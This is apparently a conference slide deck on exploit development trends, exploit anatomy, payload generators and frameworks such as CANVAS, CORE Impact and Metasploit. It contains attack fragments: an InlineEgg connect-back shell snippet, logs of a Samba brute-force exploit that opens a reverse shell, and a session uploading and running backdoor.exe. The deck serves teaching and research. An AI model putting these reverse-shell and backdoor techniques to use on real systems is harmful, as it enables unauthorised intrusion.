Advanced
Exploit Development

Trends and Tools

H D Moore
Who am I?

Co-founder of Digital Defense
Security researcher (5+ years)

Projects
DigitalOffense.net
Metasploit.com
What is this about?

1. Exploit Trends
2. Anatomy of an Exploit
3. Common Exploit Problems
4. Payload Generators
5. Exploit Frameworks
6. Metasploit v2.0 Demo!
# Why should you see this?

# Exploit basics and challenges

# Recent trends and advances

# New shellcode generation tools

# Review of exploit frameworks

# Exclusive look at Metasploit v2.0
Exploit Trends
#1: Exploit Trends

# More Exploit Writers
  # Information reached critical mass
  # Huge exploit devel community

# Improved Techniques
  # No more local brute force
  # 4 Bytes: GOT, SEH, PEB
#1: Exploit Trends

# Reliable Exploit Code
- Universal win32 addresses
- Allocation control techniques

# Where Does This Lead?
- Shrinking exploit timeline
- Exploit tools and frameworks
Anatomy of an Exploit
# Exploit Components

# Target and option selection

# Network and protocol code

# Payload or “shellcode”

# Payload encoding routine

# Exploit request builder

# Payload handler routine
# Target and option selection

# List of addresses and offsets

# Process user selected target

# Process other exploit options

# This adds up to a lot of code...
#2: Anatomy of an Exploit

**Process Options**

```
./exp -h 1.2.3.4 -p 21 -t 0
```

Parsing command options...

**Target System**

- **IP:** 1.2.3.4
- **OS:** Linux
#2: Anatomy of an Exploit

# Network and protocol code

# Resolve the target address
# Create the appropriate socket
# Connect the socket if needed
# Perform any error handling
# Start protocol negotiation
gethostbyname(sockaddr)
socket(AF_INET, ...);
connect(s, &sockaddr, 16)
ftp_login(s, user, pass);

Connecting to target...

Target System
IP: 1.2.3.4
OS: Linux

Process Options

Network Conn
#2: Anatomy of an Exploit

# Payload or “shellcode”
- Executes when exploit works
- Bindshell, Findsock, Adduser
- Normally written in assembly
- Stored in code as binary string
- Configuration done via offsets
Process Options

```python
shellcodes[0] = "\xeb..."
scode = shellcodes[target]
scode[PORT] = htons(…)
```

Network Conn

Payload

Target System
**IP:** 1.2.3.4
**OS:** Linux

Setting target...
#2: Anatomy of an Exploit

# Payload encoding routine

# Most exploits restrict characters
# Encoder must filter these chars
# Standard type is XOR decode
# Often just pre-encode payload
# Payload options also encoded
#2: Anatomy of an Exploit

Process Options

Network Conn

Payload

Payload Encoder

for(x=0;x<sizeof(scode);x++)
scode[x] ^= 0x99;

Encoding shellcode...

Target System
IP: 1.2.3.4
OS: Linux
# Exploit request builder

# Code which triggers the vuln
# Ranges from simple to complex
# Can require various calculations
# Normally just string mangling
# Scripting languages excel at this
 buf = web_request("/cgi-bin...
 memcpy(buf+100, scode, ...);
 buf[480] = (char *) retaddr;
 send(s, buf, strlen(buf));

 Sending exploit request...

 Target System
 IP: 1.2.3.4
 OS: Linux

 Payload
#2: Anatomy of an Exploit

# Payload handler routine
- Each payload needs a handler
- Often just connects to bindshell
- Reverse connect needs listener
- Connects console to socket
- Account for large chunk of code
#2: Anatomy of an Exploit

b = socket(AF_INET, ...);
connect(b, &sockaddr, 16);
handle_shell(b)

Dropping to shell...
sh-2.04# id
uid=0(root) gid=0(root)...

Target System
IP: 1.2.3.4
OS: Linux

Bind Shell Payload
Common Exploit Problems
Exploit code is rushed

- Robust code takes time
- Coders race to be the first
- Old exploits are less useful
- Result: lots of broken code
#3: Common Exploit Problems

# Exploiting Complex Protocols

# RPC, SSH, SSL, SMB

# Exploit depends on API

# Exploit supplied as patch

# Restricts exploit environment

# Requires old software archive
Limited Target Sets

- One-shot vulnerabilities suck
- Always limited testing resources
- Finding target values takes time
#3: Common Exploit Problems

## Payload Issues

- Most hardcode payloads
- Firewalls can block bind shells
- Custom config breaks exploit
- No standard payload library
Payload Generators
# Generator Basics

# Dynamic payload creation

# Use a high-level language

# Useful for custom situations
# Many Generator Projects

- Only a few are usable
- Spawned from frameworks
- Impressive capabilities so far
# Impurity (Alexander Cuttergo)

- Shellcode downloads to memory
- Executable is staticly linked C
- Allows library functions
- No filesystem access required
- Supports Linux on x86
#4: Payload Generators

```
msf_samba_trans2open > exploit
msfconsole: exploit: starting handler impurity_reverse
[*] Starting brute force mode...
[*] Trying return address 0xbfffffff0d
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Trying return address 0xbfffffff0c
[*] Connection from 192.168.0.148:1025...
[*] Uploading 14844 bytes... Done
[*] Switching to impurity payload

---[ Impurity Demo Shell
[0] [rwxrwxrwx] dev=0 ino=21530 uid=99 gid=99 rdev=0 size=0 socket (192.168.0.148:1025 → 192.168.0.126:34343)
[1] [rwxrwxrwx] dev=0 ino=21530 uid=99 gid=99 rdev=0 size=0 socket (192.168.0.148:1025 → 192.168.0.126:34343)
[2] [rwxrwxrwx] dev=0 ino=21530 uid=99 gid=99 rdev=0 size=0 socket (192.168.0.148:1025 → 192.168.0.126:34343)
[3] [rwxrwxrwx] dev=2056 ino=31183 uid=0 gid=0 rdev=265 size=0 character device ()
[4] [rwxrwxrwx] dev=2054 ino=126740 uid=0 gid=0 rdev=0 size=8192 regular file ()
[5] [rwxrwxrwx] dev=2054 ino=21527 uid=0 gid=0 rdev=0 size=0 regular file (127.0.0.1:1217 → 192.168.0.126:34343)
[6] [rwxrwxrwx] dev=2054 ino=63374 uid=0 gid=0 rdev=0 size=20 regular file ()
[7] [rwxrwxrwx] dev=2054 ino=63375 uid=0 gid=0 rdev=0 size=696 regular file ()
[8] [rwxrwxrwx] dev=2054 ino=63376 uid=0 gid=0 rdev=0 size=8192 regular file ()
[9] [rwxrwxrwx] dev=2054 ino=63377 uid=0 gid=0 rdev=537 size=696 regular file ()
[10] [rwxrwxrwx] dev=0 ino=20886 uid=0 gid=0 rdev=597 size=0 fifo ()
[11] [rwxrwxrwx] dev=0 ino=20886 uid=0 gid=0 rdev=597 size=0 fifo ()
[12] [rwxrwxrwx] dev=0 ino=21526 uid=0 gid=0 rdev=0 size=0 socket (192.168.0.148:139 → 192.168.0.126:50842)
[13] [rwxrwxrwx] dev=2054 ino=63378 uid=0 gid=0 rdev=0 size=696 regular file ()
[14] [rwxrwxrwx] dev=2054 ino=63379 uid=0 gid=0 rdev=0 size=696 regular file ()
[15] [rwxrwxrwx] dev=2054 ino=63380 uid=0 gid=0 rdev=0 size=696 regular file ()
[16] [rwxrwxrwx] dev=2054 ino=63381 uid=0 gid=0 rdev=0 size=8192 regular file ()
[17] [rwxrwxrwx] dev=2054 ino=63382 uid=0 gid=0 rdev=0 size=8192 regular file ()
[18] [rwxrwxrwx] dev=2054 ino=63383 uid=0 gid=0 rdev=0 size=8192 regular file ()
[19] [rwxrwxrwx] dev=0 ino=21530 uid=99 gid=99 rdev=0 size=0 socket (192.168.0.148:1025 → 192.168.0.126:34343)
[20] [rwxrwxrwx] dev=0 ino=21528 uid=0 gid=0 rdev=0 size=0 fifo ()
[21] [rwxrwxrwx] dev=0 ino=21528 uid=0 gid=0 rdev=0 size=0 fifo ()
[22] [rwxrwxrwx] dev=2055 ino=24106 uid=0 gid=0 rdev=0 size=13986 regular file ()
impurity demo >
```
#4: Payload Generators

# Shellforge (Philippe Biondi)

# Transforms C to payload

# Uses GCC and python

# Includes helper API

# Simple and usable
#4: Payload Generators

Shellforge Example:

```c
#include "include/sfsyscall.h"

int main(void)
{
    char buf[] = "Hello world!\n";
    write(1, buf, sizeof(buf));
    exit(0);
}
```
# MOSDEF (Immunity Inc)

# GPL spawn of CANVAS

# Dynamic code via python

# API loader via “import” tags

# Compile, send, exec, return

# Version 0.1 not ready to use
MOSDEF Example:

```c
#import "remote","Kernel32._lcreat" as "_lcreat"
#import "string","filename" as "filename"

//start of code
void main()
{
    int i;
    i=_lcreat(filename);
    sendint(i,i);
}
```
#4: Payload Generators

# InlineEgg (CORE SDI)

# Spawn of CORE Impact

# Dynamic code via python

# Non-commercial use only

# Supports Linux, BSD, Windows...
InlineEgg Example:

```python
egg = InlineEgg(Linuxx86Syscall)

# connect to other side
sock = egg.socket(socket.AF_INET, socket.SOCK_STREAM)
sock = egg.save(sock)
egg.connect(sock, (connect_addr, connect_port))

# dup and exec
egg.dup2(sock, 0)
egg.dup2(sock, 1)
egg.dup2(sock, 2)
egg.execve('/bin/sh', ('bash', '-i'))
```
Exploit Frameworks
# Framework Basics

- Library of common routines
- Simple to add new payloads
- Minimize development time
- Platform for new techniques
# Public Exploit Frameworks

# Two stable commercial products

# Handful of open source projects

# New projects in stealth mode
#5: Exploit Frameworks

# CORE Impact (CORE SDI)

# Strong product, 2+ years old

# Skilled development team

# Massive number of exploits

# Python and C++ (Windows)

# Starts at $15,000 USD
#5: Exploit Frameworks

# CORE Impact (CORE SDI)

# Stable syscall proxy system
# Full development platform
# Discovery and probe modules
# Macro function capabilities
# Integrated XML reporting
#5: Exploit Frameworks

System V login exploit

Trying to attack /192.168.36.23/192.168.36.28

The attack was successful. A new agent (level0(3)) has been deployed in the remote system.
#5: Exploit Frameworks

## Windows ASM Components

- Solid design, great features
- Includes skeleton and manager
- Full source code is available
- Written in C and ASM
- Modular development system
# Windows ASM Components

# Small first stage component

# Installs payload over network

# Avoid bytes with XOR encoder

# Fork, Bind, Connect, Findsock
#5: Exploit Frameworks

```
hdm@ice WINASM-1.1 $ ./wexp 192.168.50.189 1433 -n find
copyright LAST STAGE OF DELIRIUM aug 2002 poland //1sd-p1.net/
wasm exploit skeleton

[ core: xore, init, find, disp (505 bytes) ]
[ ready ]
>
help

cmd -execute cmd.exe (to quit type 'exit' or press CTRL-C)

put c:\file.txt -upload file.txt from local directory to c:\

get c:\file.txt -download file.txt from c:\ to local directory

inst bind(1234) -fork, bind and listen on 1234 port

inst conn(1.2.3.4,1234,60) -fork, try connect to 1.2.3.4 1234 every 60s

kill -terminate the process

exit -disconnect

>

> put C:\backdoor.exe

[ plug: main (598 bytes) ]
[ uploading ]
[ transfer backdoor.exe to 192.168.50.189 C:\backdoor.exe ]
[end]

>

cmd

[ plug: main (598 bytes) ]
[ run cmd.exe ]

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> c:\backdoor.exe

c:\backdoor.exe

- ---[ Backdoor Initialized. Dropping to background... ]

C:\WINNT\system32>
```
#5: Exploit Frameworks

# CANVAS (Immunity Inc)

# New and gaining ground
# Small set of reliable exploits
# Includes non-public “0-day”
# Supports Linux & Windows
# Priced at $995 USD
#5: Exploit Frameworks

# CANVAS (Immunity Inc)

# Working syscall proxy system
# Solid payload encoder system
# Includes API for developers
# Exploits Solaris, Linux, Windoze
# Automatic SQL injection module
#5: Exploit Frameworks

- **Windows**
  - WebAdmin
  - Cachophony
- **RealServer Overflow**
  - [0day] Overflow in RealServer 8.0.2-9.0.2
- **IIS 5.0**
  - IDA
  - Printer
- **ColdFusion/JRun**
- **Microsoft Content Server 2001**
- **Locate**
- **SecureCRT**
- **IIS 5.0 ASP Chunked Heap Overflow**
- **IIS 5.0 MSADC Heap Overflow**
- **SQL Server 2000 Resolver**
- **SQL Server 2000 Hello**
- **Unix**
  - Samba Trans2 Stack Overflow

### Code Snippet

```plaintext
GetProcAddress=0x77e89b18
Done starting up Win32 proxy
result=
New Listener Port selected is 5556
New Listener Selected listenertype is Solaris SPARC (TCP)
Solaris SPARC Listener Startup Requested on port 5556
Done encoding shellcode.
Connecting to (192.168.1.101', 53513)
Done starting up Solaris Sparc Active Listener
Done handling a new Listener Connection
```

### Exploitation Interface

- **Host:**
  - **Port:** 554

- **Version:**
  - RealServer Version 8.0.2.471-9-0.3.794 (win32)
  - DOES NOT WORK YET: Solaris SPARC 2.8.9.0.2-754 (callback sc)
# LibExploit (Simon Femerling)

# New project, improving quickly

# C library to simply development

# Includes two sample exploits

# Currently supports Linux x86

# Released as open source (GPL)
# LibExploit (Simon Femerling)

- Includes ~30 stock payloads
- Generate dynamic payloads
- Can encode with ADMutate
- Common networking API
- Built-in exploit console
#5: Exploit Frameworks

Welcome to LibExploit Terminal

let> help
quit   -> End Terminal.
help   -> Help.
set    -> set (host|port|type) data.
status -> Status.
connect -> Connect.
disconnect -> Disconnect.
cmd    -> cmd (command).
version -> Terminal version.
clear  -> Clear connection.
let> version
LibExploit Terminal Version : 0.2
let>
# Metasploit Exploit Framework

- Complete exploit environment
- Small set of reliable exploits
- Trivial to use new payloads
- Handlers and callbacks
- Full source code (OSS)
# Metasploit Exploit Framework

- Modular and extensible API
- Protocol modules and routines
- Easy to add new interfaces
- Designed to allow embedding
- Very active development
#5: Exploit Frameworks

Metasploit Framework Loaded Exploits

```
apache_chunked_win32
exchange2000_xexch50
frontpage_fp30reg_chunked
iis50_nsiislog_post
iis50_printer_overflow
iis50_webdav_ntdll
msrpc_dcom_ms03_026_win2kxp
msrpc_dcom_ms03_026_winnt
mssql2000_resolution
samba_trans2open
solaris_sadmind_exec
warftp_165_pass
```

```
Apache Win32 Chunked Encoding
Exchange 2000 MS03-46 Heap Overflow
Frontpage fp30reg.dll Chunked Encoding
IIS 5.0 nsiislog.dll POST Overflow
IIS 5.0 Printer Buffer Overflow
IIS 5.0 WebDAV ndll.dll Overflow
Microsoft RPC DCOM MS03-026 NT 2K/XP
Microsoft RPC DCOM MS03-026 NT 4.0
MSSQL 2000 Resolution Overflow
Samba trans2open Overflow
Solaris sadmind Remote Exec
War-FTPD 1.65 PASS Overflow
```

Metasploit Framework Loaded Payloads

```
bsdx86bind
bsdx86bind_lsd
bsdx86findsock
bsdx86reverse
linx86bind
linx86findsock
linx86reverse
linx86reverse_imp
solx86bind
solx86findsock
solx86reverse
winadduser
winbind
winreverse
```

```
Listen for connection and spawn a shell
Listen for connection and spawn a shell
Spawn a shell on the established connection
Connect back to attacker and spawn a shell
Listen for connection and spawn a shell
Spawn a shell on the established connection
Connect back to attacker and spawn a shell
Connect back to attacker and download impurity module
Listen for connection and spawn a shell
Spawn a shell on the established connection
Connect back to attacker and spawn a shell
Create admin user X with pass X
Listen for connection and spawn a shell
Connect back to attacker and spawn a shell
```
Questions?
Metasploit Framework Demonstration